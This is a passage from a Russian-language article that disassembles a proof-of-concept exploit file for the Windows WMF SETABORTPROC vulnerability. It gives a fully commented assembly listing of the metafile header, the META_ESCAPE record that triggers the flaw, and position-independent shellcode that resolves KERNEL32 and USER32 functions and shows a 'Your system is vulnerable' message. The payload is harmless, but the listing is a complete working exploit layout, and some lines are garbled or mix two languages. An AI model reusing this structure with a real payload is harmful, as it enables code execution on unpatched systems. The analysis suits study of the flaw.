Метафизика wmf файлов


структура фреймовых записей


Последняя запись всегда имеет вид 0003h 0000h 0000h (размер заголовка — 03h слова, функция NULL, параметров — нет), что интерпретируется как "конец метафайла".

Теперь покурим и начнем дизассемблировать exploit.wmf, в котором очень много байт, но все совсем простые. Короче, откомментированный листинг которого приведенодится ниже:

WindowsMetaHeader:                ; # стандартный заголовок метафайла

FileType      dw     1             ; тип файла (0 - память, 1 - диск)

; API-функция PlayMetaFile игнорирует это значение,

; но большинство просмотрщиков типа Irfan Viewer'а требуют FileType == 1

;

HeaderSize    dw     9             ; размер заголовка в словах (всегда 09h)

Version              dw     300h          ; требуемая версия Windows (01h | 03h)

FileSize      dd     0EDh          ; размер файла в словах

; игноруеется PlayMeatFile, IrfanViewer требует правильного значения

;

NumOfObjects  dw     6             ; кол-во объектов (может быть любым)

MaxRecordSize dd     3Dh           ; размер самой большой записи (может быть любым)

NumOfParams   dw     0             ; кол-во параметров (может быть любым)

StandardMetaRecord:               ; # фреймовая запись META_ESCAPE с shell-кодом

Size          dd     11h           ; размер записи в словах вместе с SMR ( >
00h)

Function      db     26h           ; номер функции - META_Escape (см. WINGDI.H)

num_of_arg    db     6             ; кол-во аргументов (может быть любым)

subfunct      dw     9             ; подфункция - SETABORTPROC

(см. WINDGI.H)

hDC           dw     16h           ; параметр SETABORTPROC - hDC (игнорируется)

shell_code    proc near

              call   $+5           ; \_ EBP := EIP определяем текущий EIP

              pop    ebp           ; /  EBP := EIP

              call   GetKrnl32addr ; определям базовый адресbase of KERNEL32.DLL

              mov    ebx, eax      ; ebx := eax := base ofбазовый адрес


KERNEL32.DLL

             

              ; проверка флага f_silent_mode

              ; if (f_silet_mode == 0) MessageBox();
esle Exit();

              mov    ecx, (offset f_silent_mode-21h)

              add    ecx, ebp

              mov    ecx, [ecx]

              test   ecx, ecx

              jnz    short exit    ; -->
f_silent_mode !=0, goto Exit()

             

              ; определяем адрес API-функции LoadLibraryA

              mov    ecx, (offset aLoadlibrarya-21h) ; "LoadLibraryA"

              add    ecx, ebp      ; ^ "LoadLibraryA"

              push   ecx           ; ->
mov ecx,&"LoadLibraryA"

              push   ebx           ; mov ebx, base of KERNEL32.DLL

              call   GetProcAddr   ; mov eax, <= &LoadLibraryA"())

             

              ; загружаем библиотеку USER32.DLL

              mov    ecx, (offset aUser32_dll-21h) ; "user32.dll"

              add    ecx, ebp      ; ^ "user32.dll"

              push   ecx           ; ->
&
"user32.dll"

              call   eax           ; call LoadLibraryA("user32.dll")

             

              ; определяем адрес API-функции MessageBoxA

              mov    ecx, (offset aMessageboxa-21h) ; "MessageBoxA"

              add    ecx, ebp      ; ^ "MessageBoxA"

              push   ecx           ; ->
&"MessageBoxA"

              push   eax           ; base of USER32.DLL

              call   GetProcAddr   ; eax <= &MessageBoxA()

             

              ; вызываем MessageBoxA, выводим приветствие на экран

              push   0             ; uType

              push   0             ; lpCaption

              mov    ecx, (offset aYourSystemIsVu-21h) ; "Your system is vulnerable"

              add    ecx, ebp      ; ^  "Your system is vulnerable"

              push   ecx           ; lpText



              push   0             ; hWnd

              call   eax           ; call MessageBox

             

exit:         ; термируем текущий процесс-хозяин              ; CODE XREF: shell_code+18j

              mov    ecx, (offset aExitprocess-21h) ; "ExitProcess"

              add    ecx, ebp      ; ^ "ExitProcess"

              push   ecx          ; ->
"ExitProcess"

              push   ebx           ; base of KERNEL32.DLL

              call   GetProcAddr   ; eax <= &ExitProcess()

              push   1             ; uExitCode

              call   eax           ; call ExitProcess(1);

shell_code    endp

aMessageboxa  db     'MessageBoxA',0            ; DATA XREF: shell_code+32o

aExitprocess  db     'ExitProcess',0            ; DATA XREF: shell_code:exito

aLoadlibrarya db     'LoadLibraryA',0           ; DATA XREF: shell_code+1Ao

aUser32_dll   db     'user32.dll',0                    ; DATA XREF: shell_code+28o

aYourSystemIsVu db   'Your system is vulnerable',Ah; DATA XREF: shell_code+44o

              db     'Please visit http://www.hexblog.com and install the hotfix!',0

aWmfVulnerabili db   ' WMF Vulnerability test file by Ilfak Guilfanov',0

 

f_silent_mode dd     0                          ; DATA XREF: shell_code+Do

; замыкающая фреймовая запись

; (требуется по спецификации, но на практике необязательна)

EndingMetaRecord:

Size          dw     3     

Function             dw     0

Parameters           dw     0


Содержание раздела